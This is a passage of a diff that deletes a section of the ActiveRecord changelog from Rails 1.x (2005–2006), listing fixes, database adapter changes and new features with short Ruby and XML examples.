-* Use explicit delegation instead of method aliasing for AR::Base.to_param -> AR::Base.id. #5299 (skaes@web.de)
-
-* Refactored ActiveRecord::Base.to_xml to become a delegate for XmlSerializer, which restores sanity to the mega method. This refactoring also reinstates the opinions that type="string" is redundant and ugly and nil-differentiation is not a concern of serialization [David Heinemeier Hansson]
-
-* Added simple hash conditions to find that'll just convert hash to an AND-based condition string #5143 [Hampton Catlin]. Example:
-
- Person.find(:all, :conditions => { :last_name => "Catlin", :status => 1 }, :limit => 2)
-
-...is the same as:
-
- Person.find(:all, :conditions => [ "last_name = ? and status = ?", "Catlin", 1 ], :limit => 2)
-
- This makes it easier to pass in the options from a form or otherwise outside.
-
-
-* Fixed issues with BLOB limits, charsets, and booleans for Firebird #5194, #5191, #5189 [kennethkunz@gmail.com]
-
-* Fixed usage of :limit and with_scope when the association in scope is a 1:m #5208 [alex@purefiction.net]
-
-* Fixed migration trouble with SQLite when NOT NULL is used in the new definition #5215 [greg@lapcominc.com]
-
-* Fixed problems with eager loading and counting on SQL Server #5212 [kajism@yahoo.com]
-
-* Fixed that count distinct should use the selected column even when using :include #5251 [anna@wota.jp]
-
-* Fixed that :includes merged from with_scope won't cause the same association to be loaded more than once if repetition occurs in the clauses #5253 [alex@purefiction.net]
-
-* Allow models to override to_xml. #4989 [Blair Zajac <blair@orcaware.com>]
-
-* PostgreSQL: don't ignore port when host is nil since it's often used to label the domain socket. #5247 [shimbo@is.naist.jp]
-
-* Records and arrays of records are bound as quoted ids. [Jeremy Kemper]
- Foo.find(:all, :conditions => ['bar_id IN (?)', bars])
- Foo.find(:first, :conditions => ['bar_id = ?', bar])
-
-* Fixed that Base.find :all, :conditions => [ "id IN (?)", collection ] would fail if collection was empty [David Heinemeier Hansson]
-
-* Add a list of regexes assert_queries skips in the ActiveRecord test suite. [Rick Olson]
-
-* Fix the has_and_belongs_to_many #create doesn't populate the join for new records. Closes #3692 [Josh Susser]
-
-* Provide Association Extensions access to the instance that the association is being accessed from.
- Closes #4433 [Josh Susser]
-
-* Update OpenBase adaterp's maintainer's email address. Closes #5176. [Derrick Spell]
-
-* Add a quick note about :select and eagerly included associations. [Rick Olson]
-
-* Add docs for the :as option in has_one associations. Closes #5144 [cdcarter@gmail.com]
-
-* Fixed that has_many collections shouldn't load the entire association to do build or create [David Heinemeier Hansson]
-
-* Added :allow_nil option for aggregations #5091 [Ian White]
-
-* Fix Oracle boolean support and tests. Closes #5139. [Michael Schoen]
-
-* create! no longer blows up when no attributes are passed and a :create scope is in effect (e.g. foo.bars.create! failed whereas foo.bars.create!({}) didn't.) [Jeremy Kemper]
-
-* Call Inflector#demodulize on the class name when eagerly including an STI model. Closes #5077 [info@loobmedia.com]
-
-* Preserve MySQL boolean column defaults when changing a column in a migration. Closes #5015. [pdcawley@bofh.org.uk]
-
-* PostgreSQL: migrations support :limit with :integer columns by mapping limit < 4 to smallint, > 4 to bigint, and anything else to integer. #2900 [keegan@thebasement.org]
-
-* Dates and times interpret empty strings as nil rather than 2000-01-01. #4830 [kajism@yahoo.com]
-
-* Allow :uniq => true with has_many :through associations. [Jeremy Kemper]
-
-* Ensure that StringIO is always available for the Schema dumper. [Marcel Molina Jr.]
-
-* Allow AR::Base#to_xml to include methods too. Closes #4921. [johan@textdrive.com]
-
-* Remove duplicate fixture entry in comments.yml. Closes #4923. [Blair Zajac <blair@orcaware.com>]
-
-* When grouping, use the appropriate option key. [Marcel Molina Jr.]
-
-* Add support for FrontBase (http://www.frontbase.com/) with a new adapter thanks to the hard work of one Mike Laster. Closes #4093. [mlaster@metavillage.com]
-
-* Add warning about the proper way to validate the presence of a foreign key. Closes #4147. [Francois Beausoleil <francois.beausoleil@gmail.com>]
-
-* Fix syntax error in documentation. Closes #4679. [Mislav Marohnić]
-
-* Add Oracle support for CLOB inserts. Closes #4748. [schoenm@earthlink.net sandra.metz@duke.edu]
-
-* Various fixes for sqlserver_adapter (odbc statement finishing, ado schema dumper, drop index). Closes #4831. [kajism@yahoo.com]
-
-* Add support for :order option to with_scope. Closes #3887. [eric.daspet@survol.net]
-
-* Prettify output of schema_dumper by making things line up. Closes #4241 [Caio Chassot <caio@v2studio.com>]
-
-* Make build_postgresql_databases task make databases owned by the postgres user. Closes #4790. [mlaster@metavillage.com]
-
-* Sybase Adapter type conversion cleanup. Closes #4736. [dev@metacasa.net]
-
-* Fix bug where calculations with long alias names return null. [Rick Olson]
-
-* Raise error when trying to add to a has_many :through association. Use the Join Model instead. [Rick Olson]
-
- @post.tags << @tag # BAD
- @post.taggings.create(:tag => @tag) # GOOD
-
-* Allow all calculations to take the :include option, not just COUNT (closes #4840) [Rick Olson]
-
-* Add ActiveRecord::Errors#to_xml [Jamis Buck]
-
-* Properly quote index names in migrations (closes #4764) [John Long]
-
-* Fix the HasManyAssociation#count method so it uses the new ActiveRecord::Base#count syntax, while maintaining backwards compatibility. [Rick Olson]
-
-* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions [Rick Olson]
-
-* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. [Rick Olson]
-
-* Add :case_sensitive option to validates_uniqueness_of (closes #3090) [Rick Olson]
-
- class Account < ActiveRecord::Base
- validates_uniqueness_of :email, :case_sensitive => false
- end
-
-* Allow multiple association extensions with :extend option (closes #4666) [Josh Susser]
-
- class Account < ActiveRecord::Base
- has_many :people, :extend => [FindOrCreateByNameExtension, FindRecentExtension]
- end
-
-
-*1.14.4* (August 8th, 2006)
-
-* Add warning about the proper way to validate the presence of a foreign key. #4147 [Francois Beausoleil <francois.beausoleil@gmail.com>]
-
-* Fix syntax error in documentation. #4679 [Mislav Marohnić]
-
-* Update inconsistent migrations documentation. #4683 [machomagna@gmail.com]
-
-
-*1.14.3* (June 27th, 2006)
-
-* Fix announcement of very long migration names. #5722 [blake@near-time.com]
-
-* Update callbacks documentation. #3970 [Robby Russell <robby@planetargon.com>]
-
-* Properly quote index names in migrations (closes #4764) [John Long]
-
-* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions [Rick Olson]
-
-* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. [Rick Olson]
-
-
-*1.14.2* (April 9th, 2006)
-
-* Fixed calculations for the Oracle Adapter (closes #4626) [Michael Schoen]
-
-
-*1.14.1* (April 6th, 2006)
-
-* Fix type_name_with_module to handle type names that begin with '::'. Closes #4614. [Nicholas Seckar]
-
-* Fixed that that multiparameter assignment doesn't work with aggregations (closes #4620) [Lars Pind]
-
-* Enable Limit/Offset in Calculations (closes #4558) [lmarlow]
-
-* Fixed that loading including associations returns all results if Load IDs For Limited Eager Loading returns none (closes #4528) [Rick Olson]
-
-* Fixed HasManyAssociation#find bugs when :finder_sql is set #4600 [lagroue@free.fr]
-
-* Allow AR::Base#respond_to? to behave when @attributes is nil [Ryan Davis]
-
-* Support eager includes when going through a polymorphic has_many association. [Rick Olson]
-
-* Added support for eagerly including polymorphic has_one associations. (closes #4525) [Rick Olson]
-
- class Post < ActiveRecord::Base
- has_one :tagging, :as => :taggable
- end
-
- Post.find :all, :include => :tagging
-
-* Added descriptive error messages for invalid has_many :through associations: going through :has_one or :has_and_belongs_to_many [Rick Olson]
-
-* Added support for going through a polymorphic has_many association: (closes #4401) [Rick Olson]
-
- class PhotoCollection < ActiveRecord::Base
- has_many :photos, :as => :photographic
- belongs_to :firm
- end
-
- class Firm < ActiveRecord::Base
- has_many :photo_collections
- has_many :photos, :through => :photo_collections
- end
-
-* Multiple fixes and optimizations in PostgreSQL adapter, allowing ruby-postgres gem to work properly. [ruben.nine@gmail.com]
-
-* Fixed that AssociationCollection#delete_all should work even if the records of the association are not loaded yet. [Florian Weber]
-
-* Changed those private ActiveRecord methods to take optional third argument :auto instead of nil for performance optimizations. (closes #4456) [Stefan]
-
-* Private ActiveRecord methods add_limit!, add_joins!, and add_conditions! take an OPTIONAL third argument 'scope' (closes #4456) [Rick Olson]
-
-* DEPRECATED: Using additional attributes on has_and_belongs_to_many associations. Instead upgrade your association to be a real join model [David Heinemeier Hansson]
-
-* Fixed that records returned from has_and_belongs_to_many associations with additional attributes should be marked as read only (fixes #4512) [David Heinemeier Hansson]
-
-* Do not implicitly mark recordss of has_many :through as readonly but do mark habtm records as readonly (eventually only on join tables without rich attributes). [Marcel Mollina Jr.]
-
-* Fixed broken OCIAdapter #4457 [Michael Schoen]
-
-
-*1.14.0* (March 27th, 2006)
-
-* Replace 'rescue Object' with a finer grained rescue. Closes #4431. [Nicholas Seckar]
-
-* Fixed eager loading so that an aliased table cannot clash with a has_and_belongs_to_many join table [Rick Olson]
-
-* Add support for :include to with_scope [andrew@redlinesoftware.com]
-
-* Support the use of public synonyms with the Oracle adapter; required ruby-oci8 v0.1.14 #4390 [Michael Schoen]
-
-* Change periods (.) in table aliases to _'s. Closes #4251 [jeff@ministrycentered.com]
-
-* Changed has_and_belongs_to_many join to INNER JOIN for Mysql 3.23.x. Closes #4348 [Rick Olson]
-
-* Fixed issue that kept :select options from being scoped [Rick Olson]
-
-* Fixed db_schema_import when binary types are present #3101 [David Heinemeier Hansson]
-
-* Fixed that MySQL enums should always be returned as strings #3501 [David Heinemeier Hansson]
-
-* Change has_many :through to use the :source option to specify the source association. :class_name is now ignored. [Rick Olson]
-
- class Connection < ActiveRecord::Base
- belongs_to :user
- belongs_to :channel
- end
-
- class Channel < ActiveRecord::Base
- has_many :connections
- has_many :contacts, :through => :connections, :class_name => 'User' # OLD
- has_many :contacts, :through => :connections, :source => :user # NEW
- end
-
-* Fixed DB2 adapter so nullable columns will be determines correctly now and quotes from column default values will be removed #4350 [contact@maik-schmidt.de]
-
-* Allow overriding of find parameters in scoped has_many :through calls [Rick Olson]
-
- In this example, :include => false disables the default eager association from loading. :select changes the standard
- select clause. :joins specifies a join that is added to the end of the has_many :through query.
-
- class Post < ActiveRecord::Base
- has_many :tags, :through => :taggings, :include => :tagging do
- def add_joins_and_select
- find :all, :select => 'tags.*, authors.id as author_id', :include => false,
- :joins => 'left outer join posts on taggings.taggable_id = posts.id left outer join authors on posts.author_id = authors.id'
- end
- end
- end
-
-* Fixed that schema changes while the database was open would break any connections to an SQLite database (now we reconnect if that error is throw) [David Heinemeier Hansson]
-
-* Don't classify the has_one class when eager loading, it is already singular. Add tests. (closes #4117) [Jonathan Viney]
-
-* Quit ignoring default :include options in has_many :through calls [Mark James]
-
-* Allow has_many :through associations to find the source association by setting a custom class (closes #4307) [Jonathan Viney]
-
-* Eager Loading support added for has_many :through => :has_many associations (see below). [Rick Olson]
-
-* Allow has_many :through to work on has_many associations (closes #3864) [sco@scottraymond.net] Example:
-
- class Firm < ActiveRecord::Base
- has_many :clients
- has_many :invoices, :through => :clients
- end
-
- class Client < ActiveRecord::Base
- belongs_to :firm
- has_many :invoices
- end
-
- class Invoice < ActiveRecord::Base
- belongs_to :client
- end
-
-* Raise error when trying to select many polymorphic objects with has_many :through or :include (closes #4226) [Josh Susser]
-
-* Fixed has_many :through to include :conditions set on the :through association. closes #4020 [Jonathan Viney]
-
-* Fix that has_many :through honors the foreign key set by the belongs_to association in the join model (closes #4259) [andylien@gmail.com / Rick Olson]
-
-* SQL Server adapter gets some love #4298 [Ryan Tomayko]
-
-* Added OpenBase database adapter that builds on top of the http://www.spice-of-life.net/ruby-openbase/ driver. All functionality except LIMIT/OFFSET is supported #3528 [derrickspell@cdmplus.com]
-
-* Rework table aliasing to account for truncated table aliases. Add smarter table aliasing when doing eager loading of STI associations. This allows you to use the association name in the order/where clause. [Jonathan Viney / Rick Olson] #4108 Example (SpecialComment is using STI):
-
- Author.find(:all, :include => { :posts => :special_comments }, :order => 'special_comments.body')
-
-* Add AbstractAdapter#table_alias_for to create table aliases according to the rules of the current adapter. [Rick Olson]
-
-* Provide access to the underlying database connection through Adapter#raw_connection. Enables the use of db-specific methods without complicating the adapters. #2090 [Michael Koziarski]
-
-* Remove broken attempts at handling columns with a default of 'now()' in the postgresql adapter. #2257 [Michael Koziarski]
-
-* Added connection#current_database that'll return of the current database (only works in MySQL, SQL Server, and Oracle so far -- please help implement for the rest of the adapters) #3663 [Tom Ward]
-
-* Fixed that Migration#execute would have the table name prefix appended to its query #4110 [mark.imbriaco@pobox.com]
-
-* Make all tinyint(1) variants act like boolean in mysql (tinyint(1) unsigned, etc.) [Jamis Buck]
-
-* Use association's :conditions when eager loading. [Jeremy Evans] #4144
-
-* Alias the has_and_belongs_to_many join table on eager includes. #4106 [Jeremy Evans]
-
- This statement would normally error because the projects_developers table is joined twice, and therefore joined_on would be ambiguous.
-
- Developer.find(:all, :include => {:projects => :developers}, :conditions => 'join_project_developers.joined_on IS NOT NULL')
-
-* Oracle adapter gets some love #4230 [Michael Schoen]
-
- * Changes :text to CLOB rather than BLOB [Moses Hohman]
- * Fixes an issue with nil numeric length/scales (several)
- * Implements support for XMLTYPE columns [wilig / Kubo Takehiro]
- * Tweaks a unit test to get it all green again
- * Adds support for #current_database
-
-* Added Base.abstract_class? that marks which classes are not part of the Active Record hierarchy #3704 [Rick Olson]
-
- class CachedModel < ActiveRecord::Base
- self.abstract_class = true
- end
-
- class Post < CachedModel
- end
-
- CachedModel.abstract_class?
- => true
-
- Post.abstract_class?
- => false
-
- Post.base_class
- => Post
-
- Post.table_name
- => 'posts'
-
-* Allow :dependent options to be used with polymorphic joins. #3820 [Rick Olson]
-
- class Foo < ActiveRecord::Base
- has_many :attachments, :as => :attachable, :dependent => :delete_all
- end
-
-* Nicer error message on has_many :through when :through reflection can not be found. #4042 [court3nay]
-
-* Upgrade to Transaction::Simple 1.3 [Jamis Buck]
-
-* Catch FixtureClassNotFound when using instantiated fixtures on a fixture that has no ActiveRecord model [Rick Olson]
-
-* Allow ordering of calculated results and/or grouped fields in calculations [solo@gatelys.com]
-
-* Make ActiveRecord::Base#save! return true instead of nil on success. #4173 [johan@johansorensen.com]
-
-* Dynamically set allow_concurrency. #4044 [Stefan Kaes]
-
-* Added Base#to_xml that'll turn the current record into a XML representation [David Heinemeier Hansson]. Example:
-
- topic.to_xml
-
- ...returns:
-
- <?xml version="1.0" encoding="UTF-8"?>
- <topic>
- <title>The First Topic</title>
- <author-name>David</author-name>
- <id type="integer">1</id>
- <approved type="boolean">false</approved>
- <replies-count type="integer">0</replies-count>
- <bonus-time type="datetime">2000-01-01 08:28:00</bonus-time>
- <written-on type="datetime">2003-07-16 09:28:00</written-on>
- <content>Have a nice day</content>
- <author-email-address>david@loudthinking.com</author-email-address>
- <parent-id></parent-id>
- <last-read type="date">2004-04-15</last-read>
- </topic>
-
- ...and you can configure with:
-
- topic.to_xml(:skip_instruct => true, :except => [ :id, bonus_time, :written_on, replies_count ])
-
- ...that'll return:
-
- <topic>
- <title>The First Topic</title>
- <author-name>David</author-name>
- <approved type="boolean">false</approved>
- <content>Have a nice day</content>
- <author-email-address>david@loudthinking.com</author-email-address>
- <parent-id></parent-id>
- <last-read type="date">2004-04-15</last-read>
- </topic>
-
- You can even do load first-level associations as part of the document:
-
- firm.to_xml :include => [ :account, :clients ]
-
- ...that'll return something like:
-
- <?xml version="1.0" encoding="UTF-8"?>
- <firm>
- <id type="integer">1</id>
- <rating type="integer">1</rating>
- <name>37signals</name>
- <clients>
- <client>
- <rating type="integer">1</rating>
- <name>Summit</name>
- </client>
- <client>
- <rating type="integer">1</rating>
- <name>Microsoft</name>
- </client>
- </clients>
- <account>
- <id type="integer">1</id>
- <credit-limit type="integer">50</credit-limit>
- </account>
- </firm>
-
-* Allow :counter_cache to take a column name for custom counter cache columns [Jamis Buck]
-
-* Documentation fixes for :dependent [robby@planetargon.com]
-
-* Stop the MySQL adapter crashing when views are present. #3782 [Jonathan Viney]
-
-* Don't classify the belongs_to class, it is already singular #4117 [keithm@infused.org]
-
-* Allow set_fixture_class to take Classes instead of strings for a class in a module. Raise FixtureClassNotFound if a fixture can't load. [Rick Olson]
-
-* Fix quoting of inheritance column for STI eager loading #4098 [Jonathan Viney <jonathan@bluewire.net.nz>]
-
-* Added smarter table aliasing for eager associations for multiple self joins #3580 [Rick Olson]
-
- * The first time a table is referenced in a join, no alias is used.
- * After that, the parent class name and the reflection name are used.
-
- Tree.find(:all, :include => :children) # LEFT OUTER JOIN trees AS tree_children ...
-
- * Any additional join references get a numerical suffix like '_2', '_3', etc.
-
-* Fixed eager loading problems with single-table inheritance #3580 [Rick Olson]. Post.find(:all, :include => :special_comments) now returns all posts, and any special comments that the posts may have. And made STI work with has_many :through and polymorphic belongs_to.
-
-* Added cascading eager loading that allows for queries like Author.find(:all, :include=> { :posts=> :comments }), which will fetch all authors, their posts, and the comments belonging to those posts in a single query (using LEFT OUTER JOIN) #3913 [anna@wota.jp]. Examples:
-
- # cascaded in two levels
- >> Author.find(:all, :include=>{:posts=>:comments})
- => authors
- +- posts
- +- comments
-
- # cascaded in two levels and normal association
- >> Author.find(:all, :include=>[{:posts=>:comments}, :categorizations])
- => authors
- +- posts
- +- comments
- +- categorizations
-
- # cascaded in two levels with two has_many associations
- >> Author.find(:all, :include=>{:posts=>[:comments, :categorizations]})
- => authors
- +- posts
- +- comments
- +- categorizations
-
- # cascaded in three levels
- >> Company.find(:all, :include=>{:groups=>{:members=>{:favorites}}})
- => companies
- +- groups
- +- members
- +- favorites
-
-* Make counter cache work when replacing an association #3245 [eugenol@gmail.com]
-
-* Make migrations verbose [Jamis Buck]
-
-* Make counter_cache work with polymorphic belongs_to [Jamis Buck]
-
-* Fixed that calling HasOneProxy#build_model repeatedly would cause saving to happen #4058 [anna@wota.jp]
-
-* Added Sybase database adapter that relies on the Sybase Open Client bindings (see http://raa.ruby-lang.org/project/sybase-ctlib) #3765 [John Sheets]. It's almost completely Active Record compliant (including migrations), but has the following caveats:
-
- * Does not support DATE SQL column types; use DATETIME instead.
- * Date columns on HABTM join tables are returned as String, not Time.
- * Insertions are potentially broken for :polymorphic join tables
- * BLOB column access not yet fully supported
-
-* Clear stale, cached connections left behind by defunct threads. [Jeremy Kemper]
-
-* CHANGED DEFAULT: set ActiveRecord::Base.allow_concurrency to false. Most AR usage is in single-threaded applications. [Jeremy Kemper]
-
-* Renamed the "oci" adapter to "oracle", but kept the old name as an alias #4017 [Michael Schoen]
-
-* Fixed that Base.save should always return false if the save didn't succeed, including if it has halted by before_save's #1861, #2477 [David Heinemeier Hansson]
-
-* Speed up class -> connection caching and stale connection verification. #3979 [Stefan Kaes]
-
-* Add set_fixture_class to allow the use of table name accessors with models which use set_table_name. [Kevin Clark]
-
-* Added that fixtures to placed in subdirectories of the main fixture files are also loaded #3937 [dblack@wobblini.net]
-
-* Define attribute query methods to avoid method_missing calls. #3677 [Jonathan Viney]
-
-* ActiveRecord::Base.remove_connection explicitly closes database connections and doesn't corrupt the connection cache. Introducing the disconnect! instance method for the PostgreSQL, MySQL, and SQL Server adapters; implementations for the others are welcome. #3591 [Simon Stapleton, Tom Ward]
-
-* Added support for nested scopes #3407 [anna@wota.jp]. Examples:
-
- Developer.with_scope(:find => { :conditions => "salary > 10000", :limit => 10 }) do
- Developer.find(:all) # => SELECT * FROM developers WHERE (salary > 10000) LIMIT 10
-
- # inner rule is used. (all previous parameters are ignored)
- Developer.with_exclusive_scope(:find => { :conditions => "name = 'Jamis'" }) do
- Developer.find(:all) # => SELECT * FROM developers WHERE (name = 'Jamis')
- end
-
- # parameters are merged
- Developer.with_scope(:find => { :conditions => "name = 'Jamis'" }) do
- Developer.find(:all) # => SELECT * FROM developers WHERE (( salary > 10000 ) AND ( name = 'Jamis' )) LIMIT 10
- end
- end
-
-* Fixed db2 connection with empty user_name and auth options #3622 [phurley@gmail.com]
-
-* Fixed validates_length_of to work on UTF-8 strings by using characters instead of bytes #3699 [Masao Mutoh]
-
-* Fixed that reflections would bleed across class boundaries in single-table inheritance setups #3796 [Lars Pind]
-
-* Added calculations: Base.count, Base.average, Base.sum, Base.minimum, Base.maxmium, and the generic Base.calculate. All can be used with :group and :having. Calculations and statitics need no longer require custom SQL. #3958 [Rick Olson]. Examples:
-
- Person.average :age
- Person.minimum :age
- Person.maximum :age
- Person.sum :salary, :group => :last_name
-
-* Renamed Errors#count to Errors#size but kept an alias for the old name (and included an alias for length too) #3920 [Luke Redpath]
-
-* Reflections don't attempt to resolve module nesting of association classes. Simplify type computation. [Jeremy Kemper]
-
-* Improved the Oracle OCI Adapter with better performance for column reflection (from #3210), fixes to migrations (from #3476 and #3742), tweaks to unit tests (from #3610), and improved documentation (from #2446) #3879 [Aggregated by schoenm@earthlink.net]
-
-* Fixed that the schema_info table used by ActiveRecord::Schema.define should respect table pre- and suffixes #3834 [rubyonrails@atyp.de]
-
-* Added :select option to Base.count that'll allow you to select something else than * to be counted on. Especially important for count queries using DISTINCT #3839 [Stefan Kaes]
-
-* Correct syntax error in mysql DDL, and make AAACreateTablesTest run first [Bob Silva]
-
-* Allow :include to be used with has_many :through associations #3611 [Michael Schoen]
-
-* PostgreSQL: smarter schema dumps using pk_and_sequence_for(table). #2920 [Blair Zajac]
-
-* SQLServer: more compatible limit/offset emulation. #3779 [Tom Ward]
-
-* Polymorphic join support for has_one associations (has_one :foo, :as => :bar) #3785 [Rick Olson]
-
-* PostgreSQL: correctly parse negative integer column defaults. #3776 [bellis@deepthought.org]
-
-* Fix problems with count when used with :include [Jeremy Hopple and Kevin Clark]
-
-* ActiveRecord::RecordInvalid now states which validations failed in its default error message [Tobias Lütke]
-
-* Using AssociationCollection#build with arrays of hashes should call build, not create [David Heinemeier Hansson]
-
-* Remove definition of reloadable? from ActiveRecord::Base to make way for new Reloadable code. [Nicholas Seckar]
-
-* Fixed schema handling for DB2 adapter that didn't work: an initial schema could be set, but it wasn't used when getting tables and indexes #3678 [Maik Schmidt]
-
-* Support the :column option for remove_index with the PostgreSQL adapter. #3661 [Shugo Maeda]
-
-* Add documentation for add_index and remove_index. #3600 [Manfred Stienstra <m.stienstra@fngtps.com>]
-
-* If the OCI library is not available, raise an exception indicating as much. #3593 [Michael Schoen]
-
-* Add explicit :order in finder tests as postgresql orders results differently by default. #3577. [Rick Olson]
-
-* Make dynamic finders honor additional passed in :conditions. #3569 [Oleg Pudeyev <pudeyo@rpi.edu>, Marcel Molina Jr.]
-
-* Show a meaningful error when the DB2 adapter cannot be loaded due to missing dependencies. [Nicholas Seckar]
-
-* Make .count work for has_many associations with multi line finder sql [Michael Schoen]
-
-* Add AR::Base.base_class for querying the ancestor AR::Base subclass [Jamis Buck]
-
-* Allow configuration of the column used for optimistic locking [wilsonb@gmail.com]
-
-* Don't hardcode 'id' in acts as list. [ror@philippeapril.com]
-
-* Fix date errors for SQLServer in association tests. #3406 [Kevin Clark]
-
-* Escape database name in MySQL adapter when creating and dropping databases. #3409 [anna@wota.jp]
-
-* Disambiguate table names for columns in validates_uniqueness_of's WHERE clause. #3423 [alex.borovsky@gmail.com]
-
-* .with_scope imposed create parameters now bypass attr_protected [Tobias Lütke]
-
-* Don't raise an exception when there are more keys than there are named bind variables when sanitizing conditions. [Marcel Molina Jr.]
-
-* Multiple enhancements and adjustments to DB2 adaptor. #3377 [contact@maik-schmidt.de]
-
-* Sanitize scoped conditions. [Marcel Molina Jr.]
-
-* Added option to Base.reflection_of_all_associations to specify a specific association to scope the call. For example Base.reflection_of_all_associations(:has_many) [David Heinemeier Hansson]
-
-* Added ActiveRecord::SchemaDumper.ignore_tables which tells SchemaDumper which tables to ignore. Useful for tables with funky column like the ones required for tsearch2. [Tobias Lütke]
-
-* SchemaDumper now doesn't fail anymore when there are unknown column types in the schema. Instead the table is ignored and a Comment is left in the schema.rb. [Tobias Lütke]
-
-* Fixed that saving a model with multiple habtm associations would only save the first one. #3244 [yanowitz-rubyonrails@quantumfoam.org, Florian Weber]
-
-* Fix change_column to work with PostgreSQL 7.x and 8.x. #3141 [wejn@box.cz, Rick Olson, Scott Barron]
-
-* removed :piggyback in favor of just allowing :select on :through associations. [Tobias Lütke]
-
-* made method missing delegation to class methods on relation target work on :through associations. [Tobias Lütke]
-
-* made .find() work on :through relations. [Tobias Lütke]
-
-* Fix typo in association docs. #3296. [Blair Zajac]
-
-* Fixed :through relations when using STI inherited classes would use the inherited class's name as foreign key on the join model [Tobias Lütke]
-
-*1.13.2* (December 13th, 2005)
-
-* Become part of Rails 1.0
-
-* MySQL: allow encoding option for mysql.rb driver. [Jeremy Kemper]
-
-* Added option inheritance for find calls on has_and_belongs_to_many and has_many assosociations [David Heinemeier Hansson]. Example:
-
- class Post
- has_many :recent_comments, :class_name => "Comment", :limit => 10, :include => :author
- end
-
- post.recent_comments.find(:all) # Uses LIMIT 10 and includes authors
- post.recent_comments.find(:all, :limit => nil) # Uses no limit but include authors
- post.recent_comments.find(:all, :limit => nil, :include => nil) # Uses no limit and doesn't include authors
-
-* Added option to specify :group, :limit, :offset, and :select options from find on has_and_belongs_to_many and has_many assosociations [David Heinemeier Hansson]
-
-* MySQL: fixes for the bundled mysql.rb driver. #3160 [Justin Forder]
-
-* SQLServer: fix obscure optimistic locking bug. #3068 [kajism@yahoo.com]
-
-* SQLServer: support uniqueidentifier columns. #2930 [keithm@infused.org]
-
-* SQLServer: cope with tables names qualified by owner. #3067 [jeff@ministrycentered.com]
-
-* SQLServer: cope with columns with "desc" in the name. #1950 [Ron Lusk, Ryan Tomayko]
-
-* SQLServer: cope with primary keys with "select" in the name. #3057 [rdifrango@captechventures.com]
-
-* Oracle: active? performs a select instead of a commit. #3133 [Michael Schoen]
-
-* MySQL: more robust test for nullified result hashes. #3124 [Stefan Kaes]
-
-* Reloading an instance refreshes its aggregations as well as its associations. #3024 [François Beausoleil]
-
-* Fixed that using :include together with :conditions array in Base.find would cause NoMethodError #2887 [Paul Hammmond]
-
-* PostgreSQL: more robust sequence name discovery. #3087 [Rick Olson]
-
-* Oracle: use syntax compatible with Oracle 8. #3131 [Michael Schoen]
-
-* MySQL: work around ruby-mysql/mysql-ruby inconsistency with mysql.stat. Eliminate usage of mysql.ping because it doesn't guarantee reconnect. Explicitly close and reopen the connection instead. [Jeremy Kemper]
-
-* Added preliminary support for polymorphic associations [David Heinemeier Hansson]
-
-* Added preliminary support for join models [David Heinemeier Hansson]
-
-* Allow validate_uniqueness_of to be scoped by more than just one column. #1559. [jeremy@jthopple.com, Marcel Molina Jr.]
-
-* Firebird: active? and reconnect! methods for handling stale connections. #428 [Ken Kunz <kennethkunz@gmail.com>]
-
-* Firebird: updated for FireRuby 0.4.0. #3009 [Ken Kunz <kennethkunz@gmail.com>]
-
-* MySQL and PostgreSQL: active? compatibility with the pure-Ruby driver. #428 [Jeremy Kemper]
-
-* Oracle: active? check pings the database rather than testing the last command status. #428 [Michael Schoen]
-
-* SQLServer: resolve column aliasing/quoting collision when using limit or offset in an eager find. #2974 [kajism@yahoo.com]
-
-* Reloading a model doesn't lose track of its connection. #2996 [junk@miriamtech.com, Jeremy Kemper]
-
-* Fixed bug where using update_attribute after pushing a record to a habtm association of the object caused duplicate rows in the join table. #2888 [colman@rominato.com, Florian Weber, Michael Schoen]
-
-* MySQL, PostgreSQL: reconnect! also reconfigures the connection. Otherwise, the connection 'loses' its settings if it times out and is reconnected. #2978 [Shugo Maeda]
-
-* has_and_belongs_to_many: use JOIN instead of LEFT JOIN. [Jeremy Kemper]
-
-* MySQL: introduce :encoding option to specify the character set for client, connection, and results. Only available for MySQL 4.1 and later with the mysql-ruby driver. Do SHOW CHARACTER SET in mysql client to see available encodings. #2975 [Shugo Maeda]
-
-* Add tasks to create, drop and rebuild the MySQL and PostgreSQL test databases. [Marcel Molina Jr.]
-
-* Correct boolean handling in generated reader methods. #2945 [Don Park, Stefan Kaes]
-
-* Don't generate read methods for columns whose names are not valid ruby method names. #2946 [Stefan Kaes]
-
-* Document :force option to create_table. #2921 [Blair Zajac <blair@orcaware.com>]
-
-* Don't add the same conditions twice in has_one finder sql. #2916 [Jeremy Evans]
-
-* Rename Version constant to VERSION. #2802 [Marcel Molina Jr.]
-
-* Introducing the Firebird adapter. Quote columns and use attribute_condition more consistently. Setup guide: http://wiki.rubyonrails.com/rails/pages/Firebird+Adapter #1874 [Ken Kunz <kennethkunz@gmail.com>]
-
-* SQLServer: active? and reconnect! methods for handling stale connections. #428 [kajism@yahoo.com, Tom Ward <tom@popdog.net>]
-
-* Associations handle case-equality more consistently: item.parts.is_a?(Array) and item.parts === Array. #1345 [MarkusQ@reality.com]
-
-* SQLServer: insert uses given primary key value if not nil rather than SELECT @@IDENTITY. #2866 [kajism@yahoo.com, Tom Ward <tom@popdog.net>]
-
-* Oracle: active? and reconnect! methods for handling stale connections. Optionally retry queries after reconnect. #428 [Michael Schoen <schoenm@earthlink.net>]
-
-* Correct documentation for Base.delete_all. #1568 [Newhydra]
-
-* Oracle: test case for column default parsing. #2788 [Michael Schoen <schoenm@earthlink.net>]
-
-* Update documentation for Migrations. #2861 [Tom Werner <tom@cube6media.com>]
-
-* When AbstractAdapter#log rescues an exception, attempt to detect and reconnect to an inactive database connection. Connection adapter must respond to the active? and reconnect! instance methods. Initial support for PostgreSQL, MySQL, and SQLite. Make certain that all statements which may need reconnection are performed within a logged block: for example, this means no avoiding log(sql, name) { } if @logger.nil? #428 [Jeremy Kemper]
-
-* Oracle: Much faster column reflection. #2848 [Michael Schoen <schoenm@earthlink.net>]
-
-* Base.reset_sequence_name analogous to reset_table_name (mostly useful for testing). Base.define_attr_method allows nil values. [Jeremy Kemper]
-
-* PostgreSQL: smarter sequence name defaults, stricter last_insert_id, warn on pk without sequence. [Jeremy Kemper]
-
-* PostgreSQL: correctly discover custom primary key sequences. #2594 [Blair Zajac <blair@orcaware.com>, meadow.nnick@gmail.com, Jeremy Kemper]
-
-* SQLServer: don't report limits for unsupported field types. #2835 [Ryan Tomayko]
-
